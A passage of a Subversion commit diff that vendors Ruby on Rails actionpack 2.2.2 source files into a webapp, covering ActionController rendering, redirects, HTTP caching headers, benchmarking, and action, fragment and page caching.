+      #   render :inline => "<%= 'hello, ' * 3 + 'again' %>"
+      #
+      #   # Renders "<p>Good seeing you!</p>" using Builder
+      #   render :inline => "xml.p { 'Good seeing you!' }", :type => :builder
+      #
+      #   # Renders "hello david"
+      #   render :inline => "<%= 'hello ' + name %>", :locals => { :name => "david" }
+      #
+      # === Rendering inline JavaScriptGenerator page updates
+      #
+      # In addition to rendering JavaScriptGenerator page updates with Ajax in RJS templates (see ActionView::Base for details),
+      # you can also pass the <tt>:update</tt> parameter to +render+, along with a block, to render page updates inline.
+      #
+      #   render :update do |page|
+      #     page.replace_html  'user_list', :partial => 'user', :collection => @users
+      #     page.visual_effect :highlight, 'user_list'
+      #   end
+      #
+      # === Rendering vanilla JavaScript
+      #
+      # In addition to using RJS with render :update, you can also just render vanilla JavaScript with :js.
+      #
+      #   # Renders "alert('hello')" and sets the mime type to text/javascript
+      #   render :js => "alert('hello')"
+      #
+      # === Rendering with status and location headers
+      # All renders take the <tt>:status</tt> and <tt>:location</tt> options and turn them into headers. They can even be used together:
+      #
+      #   render :xml => post.to_xml, :status => :created, :location => post_url(post)
+      def render(options = nil, extra_options = {}, &block) #:doc:
+        raise DoubleRenderError, "Can only render or redirect once per action" if performed?
+
+        if options.nil?
+          return render(:file => default_template_name, :layout => true)
+        elsif !extra_options.is_a?(Hash)
+          raise RenderError, "You called render with invalid options : #{options.inspect}, #{extra_options.inspect}"
+        else
+          if options == :update
+            options = extra_options.merge({ :update => true })
+          elsif !options.is_a?(Hash)
+            raise RenderError, "You called render with invalid options : #{options.inspect}"
+          end
+        end
+
+        response.layout = layout = pick_layout(options)
+        logger.info("Rendering template within #{layout}") if logger && layout
+
+        if content_type = options[:content_type]
+          response.content_type = content_type.to_s
+        end
+
+        if location = options[:location]
+          response.headers["Location"] = url_for(location)
+        end
+
+        if options.has_key?(:text)
+          text = layout ? @template.render(options.merge(:text => options[:text], :layout => layout)) : options[:text]
+          render_for_text(text, options[:status])
+
+        else
+          if file = options[:file]
+            render_for_file(file, options[:status], layout, options[:locals] || {})
+
+          elsif template = options[:template]
+            render_for_file(template, options[:status], layout, options[:locals] || {})
+
+          elsif inline = options[:inline]
+            render_for_text(@template.render(options.merge(:layout => layout)), options[:status])
+
+          elsif action_name = options[:action]
+            render_for_file(default_template_name(action_name.to_s), options[:status], layout)
+
+          elsif xml = options[:xml]
+            response.content_type ||= Mime::XML
+            render_for_text(xml.respond_to?(:to_xml) ? xml.to_xml : xml, options[:status])
+
+          elsif js = options[:js]
+            response.content_type ||= Mime::JS
+            render_for_text(js, options[:status])
+
+          elsif json = options[:json]
+            json = json.to_json unless json.is_a?(String)
+            json = "#{options[:callback]}(#{json})" unless options[:callback].blank?
+            response.content_type ||= Mime::JSON
+            render_for_text(json, options[:status])
+
+          elsif options[:partial]
+            options[:partial] = default_template_name if options[:partial] == true
+            if layout
+              render_for_text(@template.render(:text => @template.render(options), :layout => layout), options[:status])
+            else
+              render_for_text(@template.render(options), options[:status])
+            end
+
+          elsif options[:update]
+            @template.send(:_evaluate_assigns_and_ivars)
+
+            generator = ActionView::Helpers::PrototypeHelper::JavaScriptGenerator.new(@template, &block)
+            response.content_type = Mime::JS
+            render_for_text(generator.to_s, options[:status])
+
+          elsif options[:nothing]
+            render_for_text(nil, options[:status])
+
+          else
+            render_for_file(default_template_name, options[:status], layout)
+          end
+        end
+      end
+
+      # Renders according to the same rules as <tt>render</tt>, but returns the result in a string instead
+      # of sending it as the response body to the browser.
+      def render_to_string(options = nil, &block) #:doc:
+        render(options, &block)
+      ensure
+        response.content_type = nil
+        erase_render_results
+        reset_variables_added_to_assigns
+      end
+
+      # Return a response that has no content (merely headers). The options
+      # argument is interpreted to be a hash of header names and values.
+      # This allows you to easily return a response that consists only of
+      # significant headers:
+      #
+      #   head :created, :location => person_path(@person)
+      #
+      # It can also be used to return exceptional conditions:
+      #
+      #   return head(:method_not_allowed) unless request.post?
+      #   return head(:bad_request) unless valid_request?
+      #   render
+      def head(*args)
+        if args.length > 2
+          raise ArgumentError, "too many arguments to head"
+        elsif args.empty?
+          raise ArgumentError, "too few arguments to head"
+        end
+        options = args.extract_options!
+        status = interpret_status(args.shift || options.delete(:status) || :ok)
+
+        options.each do |key, value|
+          headers[key.to_s.dasherize.split(/-/).map { |v| v.capitalize }.join("-")] = value.to_s
+        end
+
+        render :nothing => true, :status => status
+      end
+
+      # Clears the rendered results, allowing for another render to be performed.
+      def erase_render_results #:nodoc:
+        response.body = nil
+        @performed_render = false
+      end
+
+      # Clears the redirected results from the headers, resets the status to 200 and returns
+      # the URL that was used to redirect or nil if there was no redirected URL
+      # Note that +redirect_to+ will change the body of the response to indicate a redirection.
+      # The response body is not reset here, see +erase_render_results+
+      def erase_redirect_results #:nodoc:
+        @performed_redirect = false
+        response.redirected_to = nil
+        response.redirected_to_method_params = nil
+        response.headers['Status'] = DEFAULT_RENDER_STATUS_CODE
+        response.headers.delete('Location')
+      end
+
+      # Erase both render and redirect results
+      def erase_results #:nodoc:
+        erase_render_results
+        erase_redirect_results
+      end
+
+      def rewrite_options(options) #:nodoc:
+        if defaults = default_url_options(options)
+          defaults.merge(options)
+        else
+          options
+        end
+      end
+
+      # Overwrite to implement a number of default options that all url_for-based methods will use. The default options should come in
+      # the form of a hash, just like the one you would use for url_for directly. Example:
+      #
+      #   def default_url_options(options)
+      #     { :project => @project.active? ? @project.url_name : "unknown" }
+      #   end
+      #
+      # As you can infer from the example, this is mostly useful for situations where you want to centralize dynamic decisions about the
+      # urls as they stem from the business domain. Please note that any individual url_for call can always override the defaults set
+      # by this method.
+      def default_url_options(options = nil)
+      end
+
+      # Redirects the browser to the target specified in +options+. This parameter can take one of three forms:
+      #
+      # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
+      # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
+      # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) - Is passed straight through as the target for redirection.
+      # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
+      # * <tt>:back</tt> - Back to the page that issued the request. Useful for forms that are triggered from multiple places.
+      #   Short-hand for <tt>redirect_to(request.env["HTTP_REFERER"])</tt>
+      #
+      # Examples:
+      #   redirect_to :action => "show", :id => 5
+      #   redirect_to post
+      #   redirect_to "http://www.rubyonrails.org"
+      #   redirect_to "/images/screenshot.jpg"
+      #   redirect_to articles_url
+      #   redirect_to :back
+      #
+      # The redirection happens as a "302 Moved" header unless otherwise specified.
+      #
+      # Examples:
+      #   redirect_to post_url(@post), :status=>:found
+      #   redirect_to :action=>'atom', :status=>:moved_permanently
+      #   redirect_to post_url(@post), :status=>301
+      #   redirect_to :action=>'atom', :status=>302
+      #
+      # When using <tt>redirect_to :back</tt>, if there is no referrer,
+      # RedirectBackError will be raised. You may specify some fallback
+      # behavior for this case by rescuing RedirectBackError.
+      def redirect_to(options = {}, response_status = {}) #:doc:
+        raise ActionControllerError.new("Cannot redirect to nil!") if options.nil?
+
+        if options.is_a?(Hash) && options[:status]
+          status = options.delete(:status)
+        elsif response_status[:status]
+          status = response_status[:status]
+        else
+          status = 302
+        end
+
+        response.redirected_to = options
+        logger.info("Redirected to #{options}") if logger && logger.info?
+
+        case options
+          # The scheme name consist of a letter followed by any combination of
+          # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+          # characters; and is terminated by a colon (":").
+          when %r{^\w[\w\d+.-]*:.*}
+            redirect_to_full_url(options, status)
+          when String
+            redirect_to_full_url(request.protocol + request.host_with_port + options, status)
+          when :back
+            if referer = request.headers["Referer"]
+              redirect_to(referer, :status=>status)
+            else
+              raise RedirectBackError
+            end
+          else
+            redirect_to_full_url(url_for(options), status)
+        end
+      end
+
+      def redirect_to_full_url(url, status)
+        raise DoubleRenderError if performed?
+        response.redirect(url, interpret_status(status))
+        @performed_redirect = true
+      end
+
+      # Sets the etag and/or last_modified on the response and checks it against
+      # the client request. If the request doesn't match the options provided, the
+      # request is considered stale and should be generated from scratch. Otherwise,
+      # it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent.
+      #
+      # Example:
+      #
+      #   def show
+      #     @article = Article.find(params[:id])
+      #
+      #     if stale?(:etag => @article, :last_modified => @article.created_at.utc)
+      #       @statistics = @article.really_expensive_call
+      #       respond_to do |format|
+      #         # all the supported formats
+      #       end
+      #     end
+      #   end
+      def stale?(options)
+        fresh_when(options)
+        !request.fresh?(response)
+      end
+
+      # Sets the etag, last_modified, or both on the response and renders a
+      # "304 Not Modified" response if the request is already fresh. 
+      #
+      # Example:
+      #
+      #   def show
+      #     @article = Article.find(params[:id])
+      #     fresh_when(:etag => @article, :last_modified => @article.created_at.utc)
+      #   end
+      # 
+      # This will render the show template if the request isn't sending a matching etag or 
+      # If-Modified-Since header and just a "304 Not Modified" response if there's a match.
+      def fresh_when(options)
+        options.assert_valid_keys(:etag, :last_modified)
+
+        response.etag          = options[:etag]          if options[:etag]
+        response.last_modified = options[:last_modified] if options[:last_modified]
+
+        if request.fresh?(response)
+          head :not_modified
+        end
+      end
+
+      # Sets a HTTP 1.1 Cache-Control header. Defaults to issuing a "private" instruction, so that
+      # intermediate caches shouldn't cache the response.
+      #
+      # Examples:
+      #   expires_in 20.minutes
+      #   expires_in 3.hours, :private => false
+      #   expires in 3.hours, 'max-stale' => 5.hours, :private => nil, :public => true
+      #
+      # This method will overwrite an existing Cache-Control header.
+      # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
+      def expires_in(seconds, options = {}) #:doc:
+        cache_options = { 'max-age' => seconds, 'private' => true }.symbolize_keys.merge!(options.symbolize_keys)
+        cache_options.delete_if { |k,v| v.nil? or v == false }
+        cache_control = cache_options.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
+        response.headers["Cache-Control"] = cache_control.join(', ')
+      end
+
+      # Sets a HTTP 1.1 Cache-Control header of "no-cache" so no caching should occur by the browser or
+      # intermediate caches (like caching proxy servers).
+      def expires_now #:doc:
+        response.headers["Cache-Control"] = "no-cache"
+      end
+
+      # Resets the session by clearing out all the objects stored within and initializing a new session object.
+      def reset_session #:doc:
+        request.reset_session
+        @_session = request.session
+        response.session = @_session
+      end
+
+
+    private
+      def render_for_file(template_path, status = nil, layout = nil, locals = {}) #:nodoc:
+        logger.info("Rendering #{template_path}" + (status ? " (#{status})" : '')) if logger
+        render_for_text @template.render(:file => template_path, :locals => locals, :layout => layout), status
+      end
+
+      def render_for_text(text = nil, status = nil, append_response = false) #:nodoc:
+        @performed_render = true
+
+        response.headers['Status'] = interpret_status(status || DEFAULT_RENDER_STATUS_CODE)
+
+        if append_response
+          response.body ||= ''
+          response.body << text.to_s
+        else
+          response.body = case text
+            when Proc then text
+            when nil  then " " # Safari doesn't pass the headers of the return if the response is zero length
+            else           text.to_s
+          end
+        end
+      end
+
+      def initialize_template_class(response)
+        response.template = ActionView::Base.new(self.class.view_paths, {}, self)
+        response.template.helpers.send :include, self.class.master_helper_module
+        response.redirected_to = nil
+        @performed_render = @performed_redirect = false
+      end
+
+      def assign_shortcuts(request, response)
+        @_request, @_params, @_cookies = request, request.parameters, request.cookies
+
+        @_response         = response
+        @_response.session = request.session
+
+        @_session = @_response.session
+        @template = @_response.template
+
+        @_headers = @_response.headers
+      end
+
+      def initialize_current_url
+        @url = UrlRewriter.new(request, params.clone)
+      end
+
+      def log_processing
+        if logger && logger.info?
+          log_processing_for_request_id
+          log_processing_for_session_id
+          log_processing_for_parameters
+        end
+      end
+      
+      def log_processing_for_request_id
+        request_id = "\n\nProcessing #{self.class.name}\##{action_name} "
+        request_id << "to #{params[:format]} " if params[:format]
+        request_id << "(for #{request_origin}) [#{request.method.to_s.upcase}]"
+
+        logger.info(request_id)
+      end
+
+      def log_processing_for_session_id
+        if @_session && @_session.respond_to?(:session_id) && @_session.respond_to?(:dbman) &&
+            !@_session.dbman.is_a?(CGI::Session::CookieStore)
+          logger.info "  Session ID: #{@_session.session_id}"
+        end
+      end
+
+      def log_processing_for_parameters
+        parameters = respond_to?(:filter_parameters) ? filter_parameters(params) : params.dup
+        parameters = parameters.except!(:controller, :action, :format, :_method)
+        
+        logger.info "  Parameters: #{parameters.inspect}" unless parameters.empty?
+      end
+
+      def default_render #:nodoc:
+        render
+      end
+
+      def perform_action
+        if action_methods.include?(action_name)
+          send(action_name)
+          default_render unless performed?
+        elsif respond_to? :method_missing
+          method_missing action_name
+          default_render unless performed?
+        elsif template_exists?
+          default_render
+        else
+          raise UnknownAction, "No action responded to #{action_name}. Actions: #{action_methods.sort.to_sentence}", caller
+        end
+      end
+
+      def performed?
+        @performed_render || @performed_redirect
+      end
+
+      def assign_names
+        @action_name = (params['action'] || 'index')
+      end
+
+      def assign_default_content_type_and_charset
+        response.assign_default_content_type_and_charset!
+      end
+      deprecate :assign_default_content_type_and_charset => :'response.assign_default_content_type_and_charset!'
+
+      def action_methods
+        self.class.action_methods
+      end
+
+      def self.action_methods
+        @action_methods ||=
+          # All public instance methods of this class, including ancestors
+          public_instance_methods(true).map { |m| m.to_s }.to_set -
+          # Except for public instance methods of Base and its ancestors
+          Base.public_instance_methods(true).map { |m| m.to_s } +
+          # Be sure to include shadowed public instance methods of this class
+          public_instance_methods(false).map { |m| m.to_s } -
+          # And always exclude explicitly hidden actions
+          hidden_actions
+      end
+
+      def reset_variables_added_to_assigns
+        @template.instance_variable_set("@assigns_added", nil)
+      end
+
+      def request_origin
+        # this *needs* to be cached!
+        # otherwise you'd get different results if calling it more than once
+        @request_origin ||= "#{request.remote_ip} at #{Time.now.to_s(:db)}"
+      end
+
+      def complete_request_uri
+        "#{request.protocol}#{request.host}#{request.request_uri}"
+      end
+
+      def close_session
+        @_session.close if @_session && @_session.respond_to?(:close)
+      end
+
+      def template_exists?(template_name = default_template_name)
+        @template.send(:_pick_template, template_name) ? true : false
+      rescue ActionView::MissingTemplate
+        false
+      end
+
+      def default_template_name(action_name = self.action_name)
+        if action_name
+          action_name = action_name.to_s
+          if action_name.include?('/') && template_path_includes_controller?(action_name)
+            action_name = strip_out_controller(action_name)
+          end
+        end
+        "#{self.controller_path}/#{action_name}"
+      end
+
+      def strip_out_controller(path)
+        path.split('/', 2).last
+      end
+
+      def template_path_includes_controller?(path)
+        self.controller_path.split('/')[-1] == path.split('/')[0]
+      end
+
+      def process_cleanup
+        close_session
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/benchmarking.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/benchmarking.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/benchmarking.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,107 @@
+require 'benchmark'
+
+module ActionController #:nodoc:
+  # The benchmarking module times the performance of actions and reports to the logger. If the Active Record
+  # package has been included, a separate timing section for database calls will be added as well.
+  module Benchmarking #:nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+
+      base.class_eval do
+        alias_method_chain :perform_action, :benchmark
+        alias_method_chain :render, :benchmark
+      end
+    end
+
+    module ClassMethods
+      # Log and benchmark the workings of a single block and silence whatever logging that may have happened inside it 
+      # (unless <tt>use_silence</tt> is set to false).
+      #
+      # The benchmark is only recorded if the current level of the logger matches the <tt>log_level</tt>, which makes it
+      # easy to include benchmarking statements in production software that will remain inexpensive because the benchmark
+      # will only be conducted if the log level is low enough.
+      def benchmark(title, log_level = Logger::DEBUG, use_silence = true)
+        if logger && logger.level == log_level
+          result = nil
+          seconds = Benchmark.realtime { result = use_silence ? silence { yield } : yield }
+          logger.add(log_level, "#{title} (#{('%.1f' % (seconds * 1000))}ms)")
+          result
+        else
+          yield
+        end
+      end
+
+      # Silences the logger for the duration of the block.
+      def silence
+        old_logger_level, logger.level = logger.level, Logger::ERROR if logger
+        yield
+      ensure
+        logger.level = old_logger_level if logger
+      end
+    end
+
+    protected
+      def render_with_benchmark(options = nil, extra_options = {}, &block)
+        if logger
+          if Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
+            db_runtime = ActiveRecord::Base.connection.reset_runtime
+          end
+
+          render_output = nil
+          @view_runtime = Benchmark::realtime { render_output = render_without_benchmark(options, extra_options, &block) }
+
+          if Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
+            @db_rt_before_render = db_runtime
+            @db_rt_after_render = ActiveRecord::Base.connection.reset_runtime
+            @view_runtime -= @db_rt_after_render
+          end
+
+          render_output
+        else
+          render_without_benchmark(options, extra_options, &block)
+        end
+      end    
+
+    private
+      def perform_action_with_benchmark
+        if logger
+          seconds = [ Benchmark::measure{ perform_action_without_benchmark }.real, 0.0001 ].max
+          logging_view          = defined?(@view_runtime)
+          logging_active_record = Object.const_defined?("ActiveRecord") && ActiveRecord::Base.connected?
+
+          log_message  = "Completed in #{sprintf("%.0f", seconds * 1000)}ms"
+
+          if logging_view || logging_active_record
+            log_message << " ("
+            log_message << view_runtime if logging_view
+
+            if logging_active_record
+              log_message << ", " if logging_view
+              log_message << active_record_runtime + ")"
+            else
+              ")"
+            end
+          end
+
+          log_message << " | #{headers["Status"]}"
+          log_message << " [#{complete_request_uri rescue "unknown"}]"
+
+          logger.info(log_message)
+          response.headers["X-Runtime"] = "#{sprintf("%.0f", seconds * 1000)}ms"
+        else
+          perform_action_without_benchmark
+        end
+      end
+
+      def view_runtime
+        "View: %.0f" % (@view_runtime * 1000)
+      end
+
+      def active_record_runtime
+        db_runtime = ActiveRecord::Base.connection.reset_runtime
+        db_runtime += @db_rt_before_render if @db_rt_before_render
+        db_runtime += @db_rt_after_render if @db_rt_after_render
+        "DB: %.0f" % (db_runtime * 1000)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/actions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/actions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/actions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,176 @@
+require 'set'
+
+module ActionController #:nodoc:
+  module Caching
+    # Action caching is similar to page caching by the fact that the entire output of the response is cached, but unlike page caching,
+    # every request still goes through the Action Pack. The key benefit of this is that filters are run before the cache is served, which
+    # allows for authentication and other restrictions on whether someone is allowed to see the cache. Example:
+    #
+    #   class ListsController < ApplicationController
+    #     before_filter :authenticate, :except => :public
+    #     caches_page   :public
+    #     caches_action :index, :show, :feed
+    #   end
+    #
+    # In this example, the public action doesn't require authentication, so it's possible to use the faster page caching method. But both the
+    # show and feed action are to be shielded behind the authenticate filter, so we need to implement those as action caches.
+    #
+    # Action caching internally uses the fragment caching and an around filter to do the job. The fragment cache is named according to both
+    # the current host and the path. So a page that is accessed at http://david.somewhere.com/lists/show/1 will result in a fragment named
+    # "david.somewhere.com/lists/show/1". This allows the cacher to differentiate between "david.somewhere.com/lists/" and
+    # "jamis.somewhere.com/lists/" -- which is a helpful way of assisting the subdomain-as-account-key pattern.
+    #
+    # Different representations of the same resource, e.g. <tt>http://david.somewhere.com/lists</tt> and <tt>http://david.somewhere.com/lists.xml</tt>
+    # are treated like separate requests and so are cached separately. Keep in mind when expiring an action cache that <tt>:action => 'lists'</tt> is not the same
+    # as <tt>:action => 'list', :format => :xml</tt>.
+    #
+    # You can set modify the default action cache path by passing a :cache_path option.  This will be passed directly to ActionCachePath.path_for.  This is handy
+    # for actions with multiple possible routes that should be cached differently.  If a block is given, it is called with the current controller instance.
+    #
+    # And you can also use :if (or :unless) to pass a Proc that specifies when the action should be cached.
+    #
+    # Finally, if you are using memcached, you can also pass :expires_in.
+    #
+    #   class ListsController < ApplicationController
+    #     before_filter :authenticate, :except => :public
+    #     caches_page   :public
+    #     caches_action :index, :if => Proc.new { |c| !c.request.format.json? } # cache if is not a JSON request
+    #     caches_action :show, :cache_path => { :project => 1 }, :expires_in => 1.hour
+    #     caches_action :feed, :cache_path => Proc.new { |controller|
+    #       controller.params[:user_id] ?
+    #         controller.send(:user_list_url, controller.params[:user_id], controller.params[:id]) :
+    #         controller.send(:list_url, controller.params[:id]) }
+    #   end
+    #
+    # If you pass :layout => false, it will only cache your action content. It is useful when your layout has dynamic information.
+    #
+    module Actions
+      def self.included(base) #:nodoc:
+        base.extend(ClassMethods)
+          base.class_eval do
+            attr_accessor :rendered_action_cache, :action_cache_path
+          end
+      end
+
+      module ClassMethods
+        # Declares that +actions+ should be cached.
+        # See ActionController::Caching::Actions for details.
+        def caches_action(*actions)
+          return unless cache_configured?
+          options = actions.extract_options!
+          filter_options = { :only => actions, :if => options.delete(:if), :unless => options.delete(:unless) }
+
+          cache_filter = ActionCacheFilter.new(:layout => options.delete(:layout), :cache_path => options.delete(:cache_path), :store_options => options)
+          around_filter(cache_filter, filter_options)
+        end
+      end
+
+      protected
+        def expire_action(options = {})
+          return unless cache_configured?
+
+          if options[:action].is_a?(Array)
+            options[:action].dup.each do |action|
+              expire_fragment(ActionCachePath.path_for(self, options.merge({ :action => action }), false))
+            end
+          else
+            expire_fragment(ActionCachePath.path_for(self, options, false))
+          end
+        end
+
+      class ActionCacheFilter #:nodoc:
+        def initialize(options, &block)
+          @options = options
+        end
+
+        def before(controller)
+          cache_path = ActionCachePath.new(controller, path_options_for(controller, @options.slice(:cache_path)))
+          if cache = controller.read_fragment(cache_path.path, @options[:store_options])
+            controller.rendered_action_cache = true
+            set_content_type!(controller, cache_path.extension)
+            options = { :text => cache }
+            options.merge!(:layout => true) if cache_layout?
+            controller.__send__(:render, options)
+            false
+          else
+            controller.action_cache_path = cache_path
+          end
+        end
+
+        def after(controller)
+          return if controller.rendered_action_cache || !caching_allowed(controller)
+          action_content = cache_layout? ? content_for_layout(controller) : controller.response.body
+          controller.write_fragment(controller.action_cache_path.path, action_content, @options[:store_options])
+        end
+
+        private
+          def set_content_type!(controller, extension)
+            controller.response.content_type = Mime::Type.lookup_by_extension(extension).to_s if extension
+          end
+
+          def path_options_for(controller, options)
+            ((path_options = options[:cache_path]).respond_to?(:call) ? path_options.call(controller) : path_options) || {}
+          end
+
+          def caching_allowed(controller)
+            controller.request.get? && controller.response.headers['Status'].to_i == 200
+          end
+
+          def cache_layout?
+            @options[:layout] == false
+          end
+
+          def content_for_layout(controller)
+            controller.response.layout && controller.response.template.instance_variable_get('@cached_content_for_layout')
+          end
+      end
+
+      class ActionCachePath
+        attr_reader :path, :extension
+
+        class << self
+          def path_for(controller, options, infer_extension=true)
+            new(controller, options, infer_extension).path
+          end
+        end
+        
+        # When true, infer_extension will look up the cache path extension from the request's path & format.
+        # This is desirable when reading and writing the cache, but not when expiring the cache -  expire_action should expire the same files regardless of the request format.
+        def initialize(controller, options = {}, infer_extension=true)
+          if infer_extension and options.is_a? Hash
+            request_extension = extract_extension(controller.request)
+            options = options.reverse_merge(:format => request_extension)
+          end
+          path = controller.url_for(options).split('://').last
+          normalize!(path)
+          if infer_extension
+            @extension = request_extension
+            add_extension!(path, @extension)
+          end
+          @path = URI.unescape(path)
+        end
+
+        private
+          def normalize!(path)
+            path << 'index' if path[-1] == ?/
+          end
+
+          def add_extension!(path, extension)
+            path << ".#{extension}" if extension and !path.ends_with?(extension)
+          end
+          
+          def extract_extension(request)
+            # Don't want just what comes after the last '.' to accommodate multi part extensions
+            # such as tar.gz.
+            extension = request.path[/^[^.]+\.(.+)$/, 1]
+
+            # If there's no extension in the path, check request.format
+            if extension.nil?
+              extension = request.cache_format
+            end
+            extension
+          end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/fragments.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/fragments.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/fragments.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,112 @@
+module ActionController #:nodoc:
+  module Caching
+    # Fragment caching is used for caching various blocks within templates without caching the entire action as a whole. This is useful when
+    # certain elements of an action change frequently or depend on complicated state while other parts rarely change or can be shared amongst multiple
+    # parties. The caching is done using the cache helper available in the Action View. A template with caching might look something like:
+    #
+    #   <b>Hello <%= @name %></b>
+    #   <% cache do %>
+    #     All the topics in the system:
+    #     <%= render :partial => "topic", :collection => Topic.find(:all) %>
+    #   <% end %>
+    #
+    # This cache will bind to the name of the action that called it, so if this code was part of the view for the topics/list action, you would 
+    # be able to invalidate it using <tt>expire_fragment(:controller => "topics", :action => "list")</tt>. 
+    # 
+    # This default behavior is of limited use if you need to cache multiple fragments per action or if the action itself is cached using 
+    # <tt>caches_action</tt>, so we also have the option to qualify the name of the cached fragment with something like:
+    #
+    #   <% cache(:action => "list", :action_suffix => "all_topics") do %>
+    #
+    # That would result in a name such as "/topics/list/all_topics", avoiding conflicts with the action cache and with any fragments that use a 
+    # different suffix. Note that the URL doesn't have to really exist or be callable - the url_for system is just used to generate unique 
+    # cache names that we can refer to when we need to expire the cache. 
+    # 
+    # The expiration call for this example is:
+    # 
+    #   expire_fragment(:controller => "topics", :action => "list", :action_suffix => "all_topics")
+    module Fragments
+      # Given a key (as described in <tt>expire_fragment</tt>), returns a key suitable for use in reading, 
+      # writing, or expiring a cached fragment. If the key is a hash, the generated key is the return
+      # value of url_for on that hash (without the protocol). All keys are prefixed with "views/" and uses
+      # ActiveSupport::Cache.expand_cache_key for the expansion.
+      def fragment_cache_key(key)
+        ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key).split("://").last : key, :views)
+      end
+
+      def fragment_for(buffer, name = {}, options = nil, &block) #:nodoc:
+        if perform_caching
+          if cache = read_fragment(name, options)
+            buffer.concat(cache)
+          else
+            pos = buffer.length
+            block.call
+            write_fragment(name, buffer[pos..-1], options)
+          end
+        else
+          block.call
+        end
+      end
+
+      # Writes <tt>content</tt> to the location signified by <tt>key</tt> (see <tt>expire_fragment</tt> for acceptable formats)
+      def write_fragment(key, content, options = nil)
+        return unless cache_configured?
+
+        key = fragment_cache_key(key)
+
+        self.class.benchmark "Cached fragment miss: #{key}" do
+          cache_store.write(key, content, options)
+        end
+
+        content
+      end
+
+      # Reads a cached fragment from the location signified by <tt>key</tt> (see <tt>expire_fragment</tt> for acceptable formats)
+      def read_fragment(key, options = nil)
+        return unless cache_configured?
+
+        key = fragment_cache_key(key)
+
+        self.class.benchmark "Cached fragment hit: #{key}" do
+          cache_store.read(key, options)
+        end
+      end
+
+      # Check if a cached fragment from the location signified by <tt>key</tt> exists (see <tt>expire_fragment</tt> for acceptable formats)
+      def fragment_exist?(key, options = nil)
+        return unless cache_configured?
+
+        key = fragment_cache_key(key)
+
+        self.class.benchmark "Cached fragment exists?: #{key}" do
+          cache_store.exist?(key, options)
+        end
+      end
+
+      # Name can take one of three forms:
+      # * String: This would normally take the form of a path like "pages/45/notes"
+      # * Hash: Is treated as an implicit call to url_for, like { :controller => "pages", :action => "notes", :id => 45 }
+      # * Regexp: Will destroy all the matched fragments, example:
+      #     %r{pages/\d*/notes}
+      #   Ensure you do not specify start and finish in the regex (^$) because
+      #   the actual filename matched looks like ./cache/filename/path.cache
+      #   Regexp expiration is only supported on caches that can iterate over
+      #   all keys (unlike memcached).
+      def expire_fragment(key, options = nil)
+        return unless cache_configured?
+
+        key = key.is_a?(Regexp) ? key : fragment_cache_key(key)
+
+        if key.is_a?(Regexp)
+          self.class.benchmark "Expired fragments matching: #{key.source}" do
+            cache_store.delete_matched(key, options)
+          end
+        else
+          self.class.benchmark "Expired fragment: #{key}" do
+            cache_store.delete(key, options)
+          end
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/pages.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/pages.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/caching/pages.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,154 @@
+require 'fileutils'
+require 'uri'
+
+module ActionController #:nodoc:
+  module Caching
+    # Page caching is an approach to caching where the entire action output of is stored as a HTML file that the web server
+    # can serve without going through Action Pack. This is the fastest way to cache your content as opposed to going dynamically
+    # through the process of generating the content. Unfortunately, this incredible speed-up is only available to stateless pages
+    # where all visitors are treated the same. Content management systems -- including weblogs and wikis -- have many pages that are
+    # a great fit for this approach, but account-based systems where people log in and manipulate their own data are often less
+    # likely candidates.
+    #
+    # Specifying which actions to cache is done through the <tt>caches_page</tt> class method:
+    #
+    #   class WeblogController < ActionController::Base
+    #     caches_page :show, :new
+    #   end
+    #
+    # This will generate cache files such as <tt>weblog/show/5.html</tt> and <tt>weblog/new.html</tt>,
+    # which match the URLs used to trigger the dynamic generation. This is how the web server is able
+    # pick up a cache file when it exists and otherwise let the request pass on to Action Pack to generate it.
+    #
+    # Expiration of the cache is handled by deleting the cached file, which results in a lazy regeneration approach where the cache
+    # is not restored before another hit is made against it. The API for doing so mimics the options from +url_for+ and friends:
+    #
+    #   class WeblogController < ActionController::Base
+    #     def update
+    #       List.update(params[:list][:id], params[:list])
+    #       expire_page :action => "show", :id => params[:list][:id]
+    #       redirect_to :action => "show", :id => params[:list][:id]
+    #     end
+    #   end
